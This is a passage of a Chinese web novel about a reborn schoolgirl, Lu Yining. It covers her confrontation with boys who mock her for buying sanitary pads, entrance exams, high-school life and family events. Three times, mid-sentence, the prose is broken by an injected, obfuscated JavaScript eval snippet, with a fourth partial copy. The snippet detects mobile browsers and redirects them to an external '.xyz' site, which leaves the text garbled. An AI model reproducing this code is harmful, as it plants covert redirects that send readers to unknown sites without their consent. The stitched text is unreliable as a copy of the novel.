超市里卫生巾的牌子陆易宁完全没听说过,好在肚子不疼了,陆易宁有时间看包装袋上的介绍。 几个男生来超市里买烟酒,在放酒区选了几瓶啤酒,一转头,就看见站在对面生活区里,正在选卫生巾的陆易宁。 陆易宁在细细比对手里的两种牌子的卫生巾,一阵嬉笑声从对面传来,她抬头看过去,三个跟她一般大的男生手里拿着啤酒,正在笑呵呵地看着自己。 看见女生买卫生巾就像是偷窥得逞一般,呜哇哇的叫。 陆易宁认得其中一位男生,一个班上的男同学,上课时总是跟老师扯东扯西,浪费时间,还以为自己很优秀很幽默。 另外两个男同学是隔壁六班的,在学校里但凡看见一个女生穿漂亮裙子,就吹当众口哨,哇哇哇地叫,跟发情期到了一样。 陆易宁环顾四周,真好,她现在的环境对这几个小渣渣来说,就是片儿区。 “有什么好叫的?”陆易宁横了他们一眼,继续挑选着自己要买的东西。 “哇喔!”几个男生一脸猥琐,对着陆易宁喊:“你来大姨妈要买创可贴去止血吗?看来你已经从少女变成了女人了耶!” 坠痛袭来,陆易宁忍不住皱眉。 其中一个男生又说:“是大姨妈来,可以生娃,提前感受到生娃的痛了吧?哈哈哈!” 陆易宁忍无可忍,将手里的卫生巾用力扔过去,准确无误地砸在还在哈哈笑的男生脑门上。 男生连忙后仰,还是被砸到额头。 陆易宁走过去,将卫生巾捡起来,“怎么?你现在痛吗?” “你们的老妈要是知道她排了半辈子的经血,顺便把你们几个垃圾排了出来,就是让你们回头嘲讽她来月经的话,我想她们应该宁愿绝经。与其生你们,还不如在厕所里拉两坨屎。” 几个男生丝毫没有任何羞耻感,反倒笑得更欢更甚。 被砸的男生嬉笑道:“看来你八年级上学期,生物第十九单元的内容学得不错哦!” 陆易宁记得他说的这个单元的内容是讲人类生殖和发育的内容。 生物老师上课上到这个单元,都是喊学生下去自己看,觉得生理知识不能被拿出来大大方方地学习。 所以,班里的男生经常用这个章节的内容来骂人。 “看样子你没学过。”陆易宁正经地科普道:“我今天再教给你一个知识点,男生进入青春期后,睡梦中会出现□□排出的现象,这个现象被称为遗精,是正常现象。” “哇喔~这你都懂!没少看啊?” 几个男生笑得更欢了。 “不过……”陆易宁冷声嘲讽,“正常男生遗精是从生殖器流出来,你们几个是直接逆流回大脑了吗?看见一个女生买卫生巾脑袋就开始遗精,你们要不再重新看看生物书,了解一下正常的生物学知识呢?怎么,生物老师让你们回家自学,你们老爹没教过你们□□是该往上流还是往下流吗?要不你们晚上回去,各找各爹问一下,好好学习一下呢?” “哦不,像你们这种连生物书都能拿来当黄书看的人,也不配学什么正常的生理知识。还是去神经医院检查一下,看是不是精虫把脑子吃了?有病就赶紧去治,小小年纪成了变态,你们爸妈不管,警察可是会管的。” “哦哦哦哦哦!!” 正常人被嘲讽的反应是沉默,精虫上脑的人是狂笑。 陆易宁看着三个人嬉皮笑脸的鬼样子,“你们几个与其在这笑我买卫生巾,还是去检查一下脑子,或者回家问一下老爹正常的生理知识。万一回到家,第二天早上看见你爹遗精,你又笑了,我想你应该会被打死。” 几人脸上的笑容僵在脸上,超市的收银员还有来买东西的顾客,无论男女,一直往他们的方向看。 刚才陆易宁说的话大差不差都被别人听见了,陆易宁没什么好羞愧的,该羞愧的人手里抱着酒,酒还没喝呢,脸就红了。 …… 赵倩这两天进城吃酒席,没有在家,郑乐悠思母心切,跑到别人家菜地里守着大棚里的生菜哭。 晚上郑松做好饭菜,去陆家、罗家、马家、方一敏的零食铺、裁缝店、网吧,几个地方都找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518530|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到女儿来吃晚饭。 郑煦又去网吧里找了一圈,没找到,跑去裁缝店找陆易宁,“你看见我妹了吗?” 陆易宁摇头,继续帮母亲裁剪衣服。 “你妹之前还来店里给我送草莓吃。”刘秀珍踩着缝纫机,给陆易宁缝补校服裤,“现在又不见了?” 郑煦心慌了,“大姨,她什么时候来的?” “五点过左右,她说要来找陆七七。” “找我?”陆易宁反手指着自己,“找我做哪样?” 陆易宁正色问:“郑阳阳,你是不是又骗你妹来给我要网吧的电脑密码了?” “没有!”郑煦摸着后脑勺,“我就是说她” 哦,对了。 郑煦的声音软下来,“我只是骗她,说她妈是莴苣菜,不是我亲妹。” “乱骗嘛!”刘秀珍垂着头说:“之前我们在煤矿上,骗陆易安说她是我们从菜地里捡来的。结果她失踪了一个下午,就是去找她亲妈去了。” 郑煦和陆易宁对视。 哦豁! 两人跑出裁缝店,沿着马路往家后面的方向跑。 喊了一路,最后在距离家一公里的菜地里,找到了守着大棚哭她亲妈的郑乐悠。 将妹妹哄回家,郑煦好说歹说,郑乐悠才没告诉郑松哥哥骗他。 …… 升了初三,学习任务越来越紧。 初三的学生每个月都要月考,陆易宁的成绩非常稳,就在四百一和四百三之间来回波动。 中考卷面分六百五,加上体育分五十分,合计七百分, 一中的录取分数线是五百六往上,郑煦每次月考的成绩都在五百五,五百六之间徘徊。 为了郑煦能稳进一中,郑松把他的篮球全没收了,不允许他放学后打篮球,而且还请陆易宁在学校帮忙监视郑煦,不准他碰篮球。 陆易宁每次都是哈哈带过。 学校秋季运动会,放了一个星期的假,每天有各种比赛活动。 班级之间有篮球比赛,郑煦自然是参加的。 郑松不许郑煦参加,郑煦就偷偷摸摸地参加,打完比赛后,下午再练习技术。 有几次陆易宁回家的路上,看见郑松要去学校抓人,陆易宁都会打个哈哈,将郑松忽悠回去。 郑煦好歹是为了班级荣誉出战,陆易宁身为七班的一份子,打小报告这种是不能做的。 有了陆易宁在前面打马虎眼糊弄郑松,郑煦痛快地打了一个星期的篮球。 运动会结束,他就没那个理由了,陆易宁也没必要帮他隐瞒。 有次周末他在学校打篮球,六点了还没回家,被郑松去学校抓到,当成皮球一样踢回家。 从此,每天五点四十分之前,只要郑煦没回家,郑松必去学校接他。 在学校里打篮球是不可能了。饶是如此,郑煦宁愿多跑四十分钟,去小学的操场打球。 半个月过去,小学战场也沦陷了。 篮球禁令一颁发,郑煦又开始打乒乓球,断断续续打了两个月的乒乓球,中考来了。 59.五十九章 中考题比平时的月考题简单多了。 陆易宁坐在考场上,尤其是考英语时,那么简单的英语题,如果不考好一点,自己反反复复学了那么多年的英语,岂不是白学了。 化学题的难度不大,物理的难度也能接受,数学偏简单,语文一般,文科开卷考试不计入总分成绩,只是评等级,如果要进一中的话,必须是评B级以上。 所有科目都简单,一考下来,尖子生觉得必上六百分,陆易宁都觉得自己能考个五百来分。 四中的录取分是四百九,二中五百三,这两所高中是陆平给陆易宁设立的冲刺目标。 分数出来,陆易宁考了四百五十八,比三中的录取分数线还低十二分。 低个一两分还好,可以塞钱通关系塞进去,低了十二分,怎么塞? 郑煦考了五百九十八,反正县一中是稳进。 陆易宁就难办了,作为家里唯一有希望考大学的人,她连三中的分数线都没能碰上,更别提一中二中四中。 此时,周末放假的陆易安带着育才实验的高考喜报,打了一个电话回家。 今年高考,育才实验的名声打响了,加上中考试题简单,录取分数线也跟着涨,从三百八涨到了四百一。 育才实验高中今年高考本科录取率百分之五十点五,进步很大。学校的理科状元虽然才考了五百七,比一中的理科状元少了六十来分,但是他中考进来的成绩也才五百零一。 文科最高分六百零三,也很不错。 “我要跟我姐读同一个学校。”陆易宁说。 陆平和刘秀珍一看育才实验中学今年理科状元的中考分数只比陆易宁高几十分,高考用力拼都能拼出五百七来,说不定自家孩子也能搏一搏呢。 一锤定音,陆易宁就跟在陆易安的屁股后面,和她读同一所学校。 学校报名在七月初,去学校报名当天,陆易宁跟着刘秀珍去学校。 今年来报名的学生很多,甚至有不少中考五百多分,因为去不了一中,来这里拼一把的。 因为是周天,陆易安没有课,接到刘秀珍的电话,特意等在校门口。 作为在新学校读了一年的老学生,陆易安为了妹妹的报名大事,早就摸清楚了学校的报名流程。 学校的报名流程是先去总务处找里面的值班老师排队进行身份登记,取得号码牌后,再去教务处核实身份信息,学籍信息,中考成绩,最后凭借教务处老师开的回执单,去缴费处缴费。 身份登记是不需要学生身份证的,核实身份信息才用。 陆易安今天特意起了一个大早,去总务处领了一个靠前的号码牌,并且请一个室友帮忙在教务处门口排队,另一个室友在缴费处外面排队,她负责去接人。 在校门口接完人,陆易安让刘秀珍在阴凉地里的长椅上坐着,自己带着妹妹去报名。 她知道哪个流程去该哪个办公室。 陆易宁二十多年没来过高中,本来记忆里挺清楚的,今天一踏进学校,就迷糊了。 陆易安去哪她去哪,在排队缴费时,陆易宁碰上了两个大神,一个中考考了六百一,一个考了五百九十五的大神。这种成绩别说去县一中了,市一中都够格了。 高中学校里长得帅长得美的学生可能没人知道,成绩好的他人必有耳闻。陆易宁记得他们,前两世这两人高考时一个理科考了六百五,一个文科考了六百三,创下了建校以来的高考分数最高记录。 陆易宁和陆易安排在两个大神身后,听见办公室里的老师说他们的中考成绩优秀,可以免学费时,陆易安的眼睛都直了,低声问陆易宁,“你读初中报名的时候也是这样的,怎么越来越不行了?” 陆易宁沉默了一会儿,小声说:“我都不行好几年了,你现在才问!” 糊里糊涂的,不超过半个小时,陆易安就带着陆易宁报了名。 为了让陆易宁军训报道当天不犯迷糊,陆易安带着陆易宁和刘秀珍去了各个区域的宿舍楼,高三的学生一毕业,新生住的宿舍就是上一届高三的宿舍。 陆易宁的记忆虽然模糊,但还是记得学校里每一栋建筑楼的具体位置,不过陆易安要给她介绍,她正好跟着她,重新带着回忆认识一下曾经也是未来的高中学校。 看着领在前头的陆易安,跟前两世一模一样,陆易宁有些感触,“难得你像个大姐一样。” “什么叫难得?”陆易安回头,“我一直都是这样的好吗?” 刘秀珍说:“你和郑阳阳读初中时也是你姐带着你们去的啊。” 陆易宁踏上去食堂的路,这家伙最好高中三年都能这样,好好做个姐姐,别做奴隶主。 来到食堂,陆易安带着陆易宁和老妈把所有窗口都转了一遍,在陆易安要刷饭卡点餐的时候,刘秀珍说:“别刷了,待会我们坐公交上去,找你倩倩阿姨和郑阳阳在县城里吃。” 陆易安垂眸,看着脚上的人字拖鞋,“那去我宿舍,我换身衣服。” 高中是在县城边上,去县城中心还需要坐四五十分钟的公交车。 一中在县城中心,去车站十分钟就到,赵倩和刘秀珍约定碰头的地方是在县中心的中央广场上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518531|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆易安看见郑煦和赵倩坐在广场边的长椅上看老头老太太打羽毛球,立马跑过去,“倩倩阿姨!” 赵倩像是在骂郑煦,听到陆易安的声音,立马抬起头,“诶,安安。我还以为你们会比较慢呢?这么快啊!” 刘秀珍说:“陆易安和她室友在每个需要排队的地方都提前排着队,我们没用多长时间。” 陆易安走在前面给赵倩和刘秀珍介绍她周末来县城中心,喜欢吃的菜色和喜欢去的火锅店。 郑煦拽着陆易宁走在后面,要和她商量事情。 “你是不是憨?”郑煦抬眸看了赵倩的后脑勺一眼,压低声音说:“你读高中了好不好?为什么不用智能手机?” “我只是打个电话,一个按键的诺基亚就行了,买什么智能手机。” 郑煦…… 因为陆易宁主动提出在高中不需要智能手机,要好好学习,刘秀珍在赵倩跟前说了一嘴,赵倩觉得有理,为了不让郑煦在高中沉迷手机游戏,不打算给他买智能手机了。 “我真服了你。”郑煦脸都红了,大概是被太阳晒的,“你用智能手机能有好多好处的。你想看网课,一部手机就行。” 陆易宁:“我还是比较喜欢去网吧。” 郑煦翻了个大白眼,“除了我家网吧,你看谁会让你一个未成年进去。” “是哦。”陆易宁摸着下巴,“但是陆安安有手机啊!” 郑煦倒吸一口热气,“你姐跟条霸王龙一样,她会允许你用她手机?我不管,我妈就是因为你才不给我买手机的,你现在欠我一部手机。” 陆易宁:“滚你大爷的!” 虽然陆易宁不经意间拆了台,但是受不了郑煦苦苦哀求,赵倩和郑松还是给他买了一部手机放在家里。 仅仅是放在家里。 郑煦对手机的使用权仅限于学校放小长假回来那两天。 跟前两世一样,陆易宁在高中的军训班级在五班。分班考试,她被分到了十三班。 高一快要结束,学校开始分文理科。 陆易宁突然想尝试改变一下,这一世要不选个文科试试,直到有一次月考,政治没考好。 老师很生气,罚没及格的同学抄三遍试卷,包括正确答案。 陆易宁跟个机器人一样抄了一个星期的晚自习,大题的材料和标准答案跟论文一样,她的手指头差点进化成机械手,一点灵活性都没有。 刚好学校的文理选科意向书发下来。 陆易宁:理科!果断理科! 以后卧底化工厂,理工科容易进去。 60.第六十章 学校文理分班,一共有二十二个班。 前十二个个班为理科班,后十个班为文科班。跟前两世一样,陆易宁被分在了十一班。 高中的学校不仅分文理,还按照学生的分班考试成绩分了重点班和普通班,以及给基础薄弱的学生补基础的加强班。 加强班文理科只有一个班,重点班文科三个班,理科四个班。 理科重点班是一班至四班,学生进了重点班,就代表有冲一本大学的可能。普通班的学生,除了前三名的同学,其他的还是老老实实学习,拼个二本就行。 陆易宁还是比较喜欢以前科任老师的上课方式,老老实实地呆在十一班。 班主任省师范大学毕业没几年,教班上的物理。前年刚带走了一届学生,陆易宁是他带的第二届学生。 去年高考,上一届学生再创佳绩,老师们的势头足,坚信只有不会教的老师,没有教不会的学生。 高一学九个科目,普通班的学生底子不好,老师们教得累,学生听课时更累。 高二分班之后,陆易宁在学业上能跟得上进度,第一次月考,排在全年级六十二名。 一个普通班的学生能杀进全级的前一百名,这种情况很不错了。 既然这一世也跟前两世一样待在十一班,重新结实了高中时期的朋友,陆易宁没有必要像以前一样,做题做得小心翼翼的。 分班考试一过,剩下的考试陆易宁巴不得超常发挥,傻子才控分。 高二上学期期中考,学校要开家长会,陆易宁学了那么多年,第一次做数学卷做得如鱼得水,虽然第十二个选择题还是选择靠蒙,但是圆锥曲线题最后一问,函数大题最后一问,这些题以前她压根不会拿正眼看,这辈子大多情况下也能写出来了。 学校的月考通常是安排在周四和周五,周末老师就会加点把试卷改完。 学生周日中午就能用手机登录查分系统查分,通常来说,英语和数学的成绩是最早出的。 月考周陆易宁不会去县城网吧,而是在学校里自习,顺便等月考成绩出来。 学校的寝室是八人寝,陆易宁的寝室没有住满,只有七个人。 三个室友的家是在县城里的,每个周末她们都会回家。 留寝的四人中,有个和男朋友去县城里玩去了,余下的三人在查成绩。 现在在查成绩的是全寝唯目前一一部智能手机的拥有者,陆易宁的斜对铺,寝室长蔡雪, “我的英语才得了八十二。”分数刷出来后,蔡雪心如死灰地放下手机,“我还以为我这次能考及格的。” “八十二够了吼!”陆易宁的上铺兼同桌徐子怡将蔡雪手里的手机抢过来,“来,我查给你看!” 过了一会儿,徐子怡喜得原地大跳,“我还以为最多能懵个四十分,五十三!” “五十三!我都多久没上过五十了。” “你有点出息好不好?”蔡雪把手机拿过来,递给陆易宁,“来,给我们寝室的英语扛把子查一查。我记得你上次英语就考了一百一十多。你说是运气,我看这次你的运气还在不在?” 陆易宁心里有点底,这次的月考试卷并不难,但是这是她第一次放开手做题,说实话,心里有点虚。 “查就查!”陆易宁接过手机,输入学号的时候,手都在隐隐发抖。 手机界面上的绿色圆圈转了转,英语答题卡随着陆易宁的心脏跳动,一顿一顿地显示出来。 “一百四十三?!”徐子怡惊了一下,蔡雪凑过来看她的答题卡,只是作文被扣了两分,阅读错了一个,完型错了一个,听力错了一个。 “我靠!!!”蔡雪猛地从床上弹起来,脑袋用力砸在床板上,砰的一声。 陆易宁问:“你没事儿吧?” “没事。”蔡雪用力摇了摇头,“有点晕!我去,你考了一百四十多!” “啊!!!你考了一百四十多!”徐子怡尖叫,比自己英语考了一百还激动,“不行,我们班的学霸隐藏得这么厉害吗?我靠!我靠!这成绩应该是年级前十了吧?” “不管了。”蔡雪手沉沉地搭在陆易宁肩膀上,可怜兮兮地请求道:“我要第一个预定你给我补血。你能不能不要嫌弃我,我的英语真的很想考及格!” 陆易宁摆出一副土大款的姿态,“不就是个英语嘛,拿下!” …… 陆易宁的宿舍在北区,陆易安的宿舍在南区。 偏偏学校的洗衣房在北区,陆易宁升了高中之后,陆易安终于不用爬几百个台阶,去北区的洗衣房洗衣服了。 陆易宁未成年不能进网吧,每周都是陆易安用自己的身份证去给她开台机子,为了让她安心在网吧里学习,陆易安每次都是给她开的包间。 因此,陆易宁从高一下学期开始,就负责给陆易安洗衣服的工作。 陆易安晚自习开始之前或者是晚自习结束后会提着脏衣服去陆易宁的教室,陆易宁把她的脏衣服带回寝室,有时间就去洗衣房刷洗衣卡洗衣服。 洗衣机洗完衣服,陆易宁再去洗衣房将衣服抱回宿舍晾干,衣服晾干之后再折好提去陆易安的教室。 学校的教学楼集中在南边,高一高二高三的教学区虽然是分开的,但是离得近,几栋教学楼排成一排,被一个小花园广场隔开,高二教学区走到高三教学区,穿过小广场就行。 下了晚自习,陆易安提着装着脏衣服的袋子,跟室友一块去找陆易宁。 高二教学楼下面的小广场上此时摆放了两排公告栏,左边的公告栏是文科班的成绩,右边的公告栏是理科班的。 因为这个周末要开家长会,每个年级教学楼下面的广场上都摆放着优秀学生的期中成绩,还有全年级前二十名的优秀生的证件照。 陆易安的同桌眼睛扫了一圈,叹气道:“唉,学习就是会让人丑陋。你看看,学霸们没一个能逃得过学习的魔掌,一个个的,被摧残得,小小年纪就一把年纪的。” “当然啊,我妹也是这样的,你记得不?关键她的成绩还差!”陆易安摇了摇头,“她开学的时候,一白白胖胖的小姑娘,天天努力学习,成绩原地踏步,分班考试考得一团糟不说,高二分班后,她焦虑得瘦了一圈,脸也黄了一圈,看起来比我还老。” 同桌冷笑了一声,“那你妹都这样了,你还喊她给你充饭卡洗衣服。” “我高三了耶。”陆易安辩解道:“而且,我每周送她去上网课,我还要去给她买各种好吃的。她的零食全是我买的。” “当然了,国庆回家的时候,我妈看她瘦了,也给了我一点钱,喊我把她喂胖。” 同桌的视线扫完文科生的学霸,转向右边,脚下的步子也停下来,“我倒是觉得你妹没胖,反而是你胖了。 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陆易安的声音从门口传过来,还在班里的同学都看向门口。 陆易宁放下笔,走去教室外面,“你抽风了,喊我小名?” 同桌解释道:“你姐看见你的大头照,疯了!” “什么?” 陆易安激动得搓手,“你们楼下,拍了大头照的那个年级第二是你吧?” 陆易宁反倒有点不好意思,“啊,你看见了。” “我的妈呀,你居然能考年级第二?好多中考分高的人升高中后,会越考越差,怎么你还能突然爆发呀?” “不行,我要打电话给爸妈。爸这段时间心情不好,需要听点好消息。” 高翠英因为和陆远两口子吵架,气急攻心,突然晕倒,在县医院住了一个多月,最近才回家。 天天在床上躺着,这段时间全靠小儿子和刘秀珍服侍。 陆易宁上周和父亲视频,视频里的父亲整个人老了很多,瘦了一大圈。 陆易宁:“你手机不是上交了吗?还打电话。” 陆易安:“我室友有老人机。” “还是别了。”陆易宁说:“这个星期六学校要开家长会,爸说他会来的,我到时候再跟他说吧。” “惊喜嘛,我懂的。” 这次考试,陆易宁爆的太厉害。 班主任看见成绩排名出来的那一刻,还以为重点班里有个人和班里的好学生重名了。 校领导要他查陆易宁是不是作弊了,班主任手一挥,不可能作弊! 陆易宁在班主任眼里一直是好学生,虽然此次月考飞升得太厉害,但老班就是相信班里学习最认真的同学值得。 陆易安回到宿舍,立马借室友的手机给陆平打了电话。 陆平将手机拿得离耳朵远远的,“好了,幺儿,你早点休息,明天还要上课。” 刘秀珍给高翠英擦完身子,端着水盆从屋里出来,“陆安安说什么了?” “鬼晓得。”陆平将手机揣回兜里,“咋咋呼呼的,说是我们两个的优秀生陆七七转回来了。” 刘秀珍心里一紧,“陆七七回家去了?” “没有。陆安安说是惊喜,等我过两天去学校看。” 61.六十一章 家长会当天,陆易宁在校门口等着陆平。 陆平一来,她就带他去操场上。 学校开家长会的流程是家长和学生先在操场上开大会,大会结束后,再去教室里。 大会必不可少的一个流程自然是对好学生的嘉奖。 阴了几天,今天难得出太阳,虽然有风,但是不大。 陆易宁和陆平站在一块,陆平没有问陆易宁的考试成绩,反正去教室里迟早都要知道的。 班主任从前面走到后面,找到陆易宁,提醒道:“等会儿你上主席台的时候,从左边上,右边下。” “好的,老师。”陆易宁点了点头。 陆平和班主任打了一个招呼,班主任离开后,陆平低声问陆易宁:“你还要上台吗?” “对啊!你等会看着就行。” 高一年级的颁奖仪式结束,接下来是高二年级的。 陆平听到音响里主持人念到陆易宁的名字,她是第二个被念到名字的。 “爸,我这次考了六百多哦!” 陆易宁主动说完自己的成绩,小跑着去主席台。 排在陆易宁前面的是她的同桌徐子怡,回头看见陆平有些惊诧的神情,告知道:“叔叔,陆易宁这次考了年级第二。” “好,好,谢谢你啊!” 陆平瞪大眼睛,惊喜过后,激动地拿出手机,对着主席台上领奖的学生,咔咔咔一阵拍。 陆易宁拿着奖金跑下来,在陆平的眼前晃了晃,“爸,我和陆安安定好了地方,等开完家长会,我们去县城里吃顿好的。” “好好好!去的时候多点一点,我带回去给你妈你妹她们一块吃。”陆平指着陆易宁手上的奖状,笑着说:“我想拿回去给你妈看。” “好啊!” …… 这次考试,陆易宁的成绩奔得太快,很多老师都不相信。 第三次月考,陆易宁的成绩排在年级第一,老师们的质疑声小了一点。 期末考试成绩出来,班主任坐在办公室里和别的老师看校排名,陆易宁又是第一。 八班的班主任啧啧叹道:“哎哟,这个陆易宁同学,高一一整年的成绩都是中等,高二这年跟坐了火箭一样。” “一个普通班的学生,冲劲这么大!”其中一位数学老师故意打趣道:“孔老师,你是怎么教的?” 孔祥龙平静地说:“她每天在班上最早来最晚走,其实还是自己努力啊。” 嘴上说得与自己无多大关系,但是看着陆易宁再一次用现实打脸那些认为她作弊的人,孔祥龙别提有多爽。 …… 孩子放寒假,假期里,高翠英的病又加重了,陆平和刘秀珍经常不在家。 陆易宁每天刷完试卷,就去网吧里坐着,看会网课,刷会社交媒体。 几年前,陆易宁就试着劝刘秀珍变换不同的制衣风格。 不会?那就学。 学做不同时期的汉服,学做旗袍,拍挑战做不同时期的汉服系列的视频。在母女俩的努力下,绣鹿裁缝小店的社交媒体账号有了几千个粉丝,虽然不多,但是大部分粉丝都是诚心下单订制衣服的。 不过这段时间老妈没空,陆易宁只能在网上接几个单子,让陆果果帮忙做些边角修饰,比如扣子,领花。 陆果果现在读初二,喊她写作业她既磨蹭又拖沓,但是请她帮忙裁剪布料,做小饰品,她非常乐意。 刘秀珍去吉长之前吩咐陆易安盯着陆果果写作业,陆易安自己的作业都不写,专门折磨陆果果。 高中的题难她不会,初中的简单题她会,但是陆果果不会。 “斜率啊斜率!”陆易安的手指用力敲打着陆果果面前的数学试卷,“你连增函数是减函数都分不出来吗?” “谁说的,我分得出来的。”陆果果大声说:“往右边增的是增函数,左边增的是减函数。” 陆易宁在楼下一边看电视一边削土豆皮,听见陆果果的回答,摇了摇头,还好她没学到二次函数。 陆易安的咆哮声再次传来,“那你看你画的这个是什么函数图,你斜率都为负了,还能增吗?” 陆果果用橡皮擦把函数图擦掉,重新画了一条直线上去。 “截距呢?我刚才讲的截距呢?斜率记得了,又把截距忘了?我对着一头猪讲,猪也该听明白了吧!” 陆易安仰着头,望着天花板,一脸疲惫。早知道就负责去做饭吃了,教陆果果比做饭还难。 陆易宁为了不吃陆易安做的大锅菜,不去教陆果果做题,主动选择了做晚饭这项任务。 郑乐悠为了抢手机看动漫,刚和她哥打了一架,没打赢,不想在家里看见郑煦,就跑来帮陆易宁削土豆皮,“七七姐,你做饭的时候能不能多做点,我想在你家吃晚饭,不想在饭桌上看见郑阳阳那张鬼脸。” “好啊,我今天给你做宫爆肉还有黄焖鸡,还有干锅土豆片。” “好!”郑乐悠将土豆洗干净,放在菜盆里,“不过……你真的会做吗?我好像只看见你炸过土豆,煮过面条啊!” 陆易宁抬着菜盆去厨房,将土豆切成块,“不会做就要学着做啊。” 她会做,而且厨艺还不错。 昨天老妈刚杀了一只鸡,下午就急忙赶去了吉长。 郑乐悠在洗鸡肉,边洗边哼哼,“我有一双勤劳的手,勤劳的手……” 葱姜蒜,糍粑辣椒,花椒,蒜叶准备完毕。 郑乐悠将鸡肉放在橱柜上,被火锅底料呛得一直打喷嚏。 陆易宁连忙把窗户打开,有点呛人。 郑煦出门透个气的功夫,也差点被呛到。 郑乐悠和陆易宁的喷嚏声彼此彼伏,郑煦走到窗前,“看来明天天上会有不少太阳。” 陆易宁才没工夫搭理他,郑乐悠跑到门口,恶狠狠地诅咒道:“最好把你的手机晒爆炸,把你炸成骨头渣渣!” 郑煦耸耸肩,无所谓,“随便,本来是想给你手机,让你看《京剧猫》的,现在我不给了。” 什么? “哥!我要看!”郑乐悠的态度转变得非常快,“明天就算是晴天,天气也不热,你的手机不会炸的。” 陆易宁:…… 听到陆易宁喊吃饭的声音,陆易安终于可以歇口气,手上的草稿纸一扔,飞快跑下楼。 隔壁的两兄妹也拿着碗筷过来。 电视机里在播放着一部有关服装设计的偶像剧,几人围坐在小饭桌前。 “这宫爆肉比学校里的还好吃。”陆易安吃得十分满足,“陆七七,你这么会做菜,以前为什么不做啊?我不管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530573|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过年的时候我也要吃你做的菜。” 陆易宁:“你说呢?” “这个黄焖鸡也不错。”郑煦夹了一块土豆放进碗里,土豆炖得软烂入味,“你在哪学的?” “网上啊。”陆易宁的筷子指着饭桌中间的黄焖鸡说:“你们信不信,很多大学里都有这道菜。” 郑煦:“我信!” 陆果果看电视看得入迷,电视剧里的男主随便扔出一张银行卡,她就被迷得五迷三道的,“总裁就应该是这样的嘛!” “我有这个男明星的扣扣号。”郑乐悠说:“果果姐,你要的话,我给你。” “你那个是假的。”陆果果说:“我只看他的微博,关注一下他,如果他会出专辑的话,支持一下。” “我劝你别关注他。”陆易宁冷不丁抛了一盆冷水淋在陆果果的脸上,“这个男演员吸毒,而且骗粉丝的钱。” 偶像被说,陆果果当然不开心,“你哪只眼睛看见了?” “他只要做了就会被爆出来的好吗?” “我不信!” 郑煦插了一句,“我劝你还是信吧,你以前喜欢的那个歌手,不也是被爆出来家暴了吗?” “这个不一样。”陆果果继续看着电视,“他才不会骗钱,吸毒。” 陆易安:“那你等着吧,我之前都在网上看到有人爆料了。” 陆果果反驳道:“网上但凡有个键盘都能随便说。无论如何,我都不信!就算网上传得满天飞,那也只是谣言。” “我告诉你,”陆易安冷声提前警告道:“如果真的被爆出来了,你还跟个傻子一样去追捧他,去给他洗白,我会捶死你的。” …… 高翠英躺了几个月,最近几天刚有点精气神,陆平还以为会好起来,结果才去街上买肉回来,她就没了。 刘秀珍打电话给陆易安,让陆易安带妹妹们,坐着郑松的车一块去老家。 陆易宁不去,无论陆平在电话里怎么说,她都不去。 陆果果受不了,跟着陆易安和郑松赵倩去了吉长。 家里只剩陆易宁一个人。奶奶死了,她的心里没有一丝起伏。 这几年,每次陆平接高翠英来风阳镇养老,陆易宁从来不会喊她一声。 她在家里作威作福,看见什么不如意的都要骂。 下雨天骂陆平和刘秀珍为什么要搬到这个经常下雨的地方,害她风湿痛。天晴了,又骂陆平和刘秀珍住的地方不好,热得她头疼。 有一次甚至还偷偷去街上找年轻小伙,不想让陆易安读书了,想把陆易安嫁出去。 那次陆易宁和陆易安直接打包好她的行李喊她滚,被父亲骂了一顿后,两姐妹一天能和她吵三架。 与其回吉长,还不如提前回杨长看看外婆。 陆易宁说做就做,将母亲给外婆做的衣服整理好,还去街上买了一大袋外婆喜欢吃的薯片,薯条,准备得满满的,上街坐车回杨长。 大表姐结婚后没几年就和姐夫去了省会城市,大表哥一家,大舅舅,新的大舅妈全部去吉长帮忙了。 外婆老了腿脚不好,一个人在家。 陆易宁提着一个大箱子回来时,马春花还以为是哪家在外省打工的姑娘回来了,结果她一喊“外婆”,才反应过来是自己的外孙女。 62.六十二章 有关男星吸毒的爆料满天飞,陆果果起初还不在意,直到看了偶像被警方带走的新闻,心沉谷底。 陆果果一想到自己在裁缝店打了那么久的工,赚来的钱全部用来买了他的写真,气得差点喷血。 清明节,陆易宁回家,看见第一个烧纸的人就是陆果果。 她将自己买的写真专辑全烧了,一边烧一边骂。 陆易宁默默地站在阳台上看,看样子,陆果果这两年都不想着追星了。 她从小学到现在一共喜欢了四个艺人,耍大牌的刷大牌,霸凌的霸凌,偷税的偷税,基本都塌了。 过几年还会喜欢一个女爱豆,女爱豆现在没什么名气,陆果果还不知道她的存在。 第一世陆果果信誓旦旦地说说她追的星,绝对不会塌房。 